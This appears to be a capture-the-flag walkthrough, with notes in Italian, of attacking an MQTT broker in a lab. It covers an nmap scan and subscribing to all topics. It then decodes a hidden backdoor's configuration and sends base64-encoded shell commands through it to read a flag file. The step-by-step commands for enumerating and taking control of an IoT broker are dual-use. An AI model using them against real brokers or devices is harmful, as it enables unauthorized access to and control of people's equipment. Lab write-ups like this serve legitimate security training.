```
└─$ nmap -p- 10.10.67.58
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-06 10:29 EDT
Nmap scan report for 10.10.67.58
Host is up (0.085s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT     STATE SERVICE
1883/tcp open  mqtt

1883/tcp open  mosquitto version 2.0.14
| mqtt-subscribe:
|   Topics and their most recent payloads:
|     $SYS/broker/load/sockets/5min: 0.56
|     $SYS/broker/clients/inactive: -1
|     $SYS/broker/load/messages/received/5min: 77.60
|     $SYS/broker/clients/active: 2
|     $SYS/broker/load/bytes/received/5min: 3667.06
|     $SYS/broker/load/messages/received/1min: 89.55
|     $SYS/broker/load/bytes/sent/15min: 174.34
|     $SYS/broker/clients/disconnected: -1
|     patio/lights: {"id":17448515548818098294,"color":"ORANGE","status":"OFF"}
|     frontdeck/camera:
{"id":9910427168576425406,"yaxis":74.95055,"xaxis":78.48279,"zoom":3.6121724,"mo
vement":false}
|     $SYS/broker/load/sockets/15min: 0.23
|     $SYS/broker/store/messages/bytes: 305
|     $SYS/broker/uptime: 594 seconds
|     $SYS/broker/version: mosquitto version 2.0.14
|     $SYS/broker/publish/bytes/received: 30107
|     $SYS/broker/load/bytes/received/15min: 2059.17
|     $SYS/broker/messages/sent: 894
|     $SYS/broker/messages/received: 894
|     $SYS/broker/load/bytes/sent/5min: 310.42
|     $SYS/broker/bytes/received: 42238
|     $SYS/broker/load/sockets/1min: 2.00
|     $SYS/broker/load/messages/sent/5min: 77.60
|     $SYS/broker/load/bytes/sent/1min: 358.18
|     $SYS/broker/load/messages/sent/15min: 43.58
|     $SYS/broker/bytes/sent: 3577
|     $SYS/broker/clients/connected: 2
|     $SYS/broker/load/messages/received/15min: 43.58
|     storage/thermostat: {"id":17109884637577650932,"temperature":24.285511}
|     $SYS/broker/load/messages/sent/1min: 89.55
|_    $SYS/broker/load/bytes/received/1min: 4190.00
```

Sostanzialmente si basa su un modello di brokering, vale a dire l'esistenza di un soggetto (il broker) al quale tutti i
client si registrano e verso il quale quest'ultimi inoltrano e ricevono messaggi per e da altri client anch'essi connessi.
Per coloro che non avessero almeno un'infarinatura rispetto a questi meccanismi rimandiamo alla "metafora dei fari" descritta
in questa nostra scheda.

https://book.hacktricks.xyz/network-services-pentesting/1883-pentesting-mqtt-mosquitto
http://www.steves-internet-guide.com/mosquitto_pub-sub-clients/
https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b

```
apt-get install mosquitto mosquitto-clients

mosquitto_PUB E mosquitto_SUB   (to public and send command | to subscribe)

Subscribing to all topics
You can use the wildcard character to subscribe to all topics but you must use a delimiter.
mosquitto_sub -h localhost -t \# -d


└─$ mosquitto_sub -h 10.10.21.196 -t \# -d

                                          1 ×
Client (null) sending CONNECT
Client (null) received CONNACK (0)
Client (null) sending SUBSCRIBE (Mid: 1, Topic: #, QoS: 0, Options: 0x00)
Client (null) received SUBACK
Subscribed (mid: 1): 0
Client (null) received PUBLISH (d0, q0, r0, m0, 'livingroom/speaker', ... (37 bytes))
{"id":16300393012414474378,"gain":40}
Client (null) received PUBLISH (d0, q0, r0, m0, 'storage/thermostat', ... (50 bytes))
{"id":5528230283515347864,"temperature":23.112776}
Client (null) received PUBLISH (d0, q0, r0, m0, 'patio/lights', ... (57 bytes))
{"id":8198719194238985231,"color":"ORANGE","status":"ON"}
Client (null) received PUBLISH (d0, q0, r0, m0, 'livingroom/speaker', ... (36 bytes))
{"id":2874440543848034087,"gain":69}
Client (null) received PUBLISH (d0, q0, r0, m0, 'storage/thermostat', ... (50 bytes))
{"id":7694885659865087814,"temperature":23.921202}
Client (null) received PUBLISH (d0, q0, r0, m0, 'kitchen/toaster', ... (82 bytes))
{"id":26344121529389972 71,"in_use":false,"temperature":140.93971,"toast_time":318}
Client (null) received PUBLISH (d0, q0, r0, m0, 'frontdeck/camera', ... (96 bytes))
{"id":9078799744027470818,"yaxis":-99.19612,"xaxis":-174.3424,"zoom":2.4628856,"movement":false}
Client (null) received PUBLISH (d0, q0, r0, m0, 'livingroom/speaker', ... (36 bytes))
{"id":4696534330959212247,"gain":61}
Client (null) received PUBLISH (d0, q0, r0, m0, 'patio/lights', ... (58 bytes))
{"id":13833325451684787096,"color":"ORANGE","status":"ON"}
Client (null) received PUBLISH (d0, q0, r0, m0, 'storage/thermostat', ... (51 bytes))
{"id":14377658413555742724,"temperature":23.084692}
```

```
Client (null) received PUBLISH (d0, q0, r0, m0,
'yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config', ... (256 bytes))
eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29t
bWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5
TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVo
TWcwRS9zdWIifQ==

FROM BASE64

{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","registered_commands":["HELP","CMD"
,"SYS"],"pub_topic":"U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub","sub_topic":"XD2rfR9B
ez/GqMpRSEobh/TvLQehMg0E/sub"}



I COMANDI VANNO INVIATI AL SUB E L'OUTPUT LETTO DAL PUB


INVIO COMANDO HELP
mosquitto_pub -h 10.10.21.196 -t XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub -m HELP

SUB
mosquitto_sub -h 10.10.21.196 -t XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub -d
Client (null) received PUBLISH (d0, q0, r0, m0,
'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub', ... (4 bytes))
HELP

mosquitto_sub -h 10.10.21.196 -t U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub -d
Client (null) received PUBLISH (d0, q0, r0, m0,
'U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub', ... (140 bytes))
SW52YWxpZCBtZXNzYWdlIGZvcm1hdC4KRm9ybWF0OiBiYXNlNjQoeyJpZCI6ICI8YmFja2Rvb3IgaWQ+
IiwgImNtZCI6ICI8Y29tbWFuZD4iLCAiYXJnIjogIjxhcmd1bWVudD4ifSk=


FROM BASE64

Invalid message format.
Format: base64({"id": "<backdoor id>", "cmd": "<command>", "arg": "<argument>"})
  il tutto in base64

{"id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d", "cmd": "ls", "arg": ""}

mosquitto_pub -h 10.10.21.196 -t XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub -m
eyJpZCI6ICJjZGQxYjFjMC0xYzQwLTRiMGYtOGUyMi02MWIzNTc1NDhiN2QiLCAiY21kIjogImxzIiwg
ImFyZyI6ICIifQo=


{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"Invalid command"}

mosquitto_pub -h 10.10.21.196 -t XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub -m
eyJpZCI6ICJjZGQxYjFjMC0xYzQwLTRiMGYtOGUyMi02MWIzNTc1NDhiN2QiLCAiY21kIjogIkhFTFAi
LCAiYXJnIjogIiJ9Cg==   (comando HELP)
```

{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"Message format:\n
Base64({\n        \"id\": \"<Backdoor ID>\",\n        \"cmd\": \"<Command>\",\n
      \"arg\": \"<arg>\",\n    })\n\nCommands:\n    HELP: Display help message
(takes no arg)\n
 CMD: Run a shell command\n    SYS: Return system information (takes no arg)\n"}

{"id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d", "cmd": "CMD", "arg": "ls"}  ->
eyJpZCI6ICJjZGQxYjFjMC0xYzQwLTRiMGYtOGUyMi02MWIzNTc1NDhiN2QiLCAiY21kIjogIkNNRCIs
ICJhcmciOiAibHMifQo=

mosquitto_pub -h 10.10.21.196 -t XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub -m
eyJpZCI6ICJjZGQxYjFjMC0xYzQwLTRiMGYtOGUyMi02MWIzNTc1NDhiN2QiLCAiY21kIjogIkNNRCIs
ICJhcmciOiAibHMifQo=

{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"flag.txt\n"}  <-------

diamo il comando

{"id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d", "cmd": "CMD", "arg": "cat
flag.txt"}

mosquitto_pub -h 10.10.21.196 -t XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub -m
eyJpZCI6ICJjZGQxYjFjMC0xYzQwLTRiMGYtOGUyMi02MWIzNTc1NDhiN2QiLCAiY21kIjogIkNNRCIs
ICJhcmciOiAiY2F0IGZsYWcudHh0In0K

{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"flag{18d44fc0707ac8dc8b
e45bb83db54013}\n"}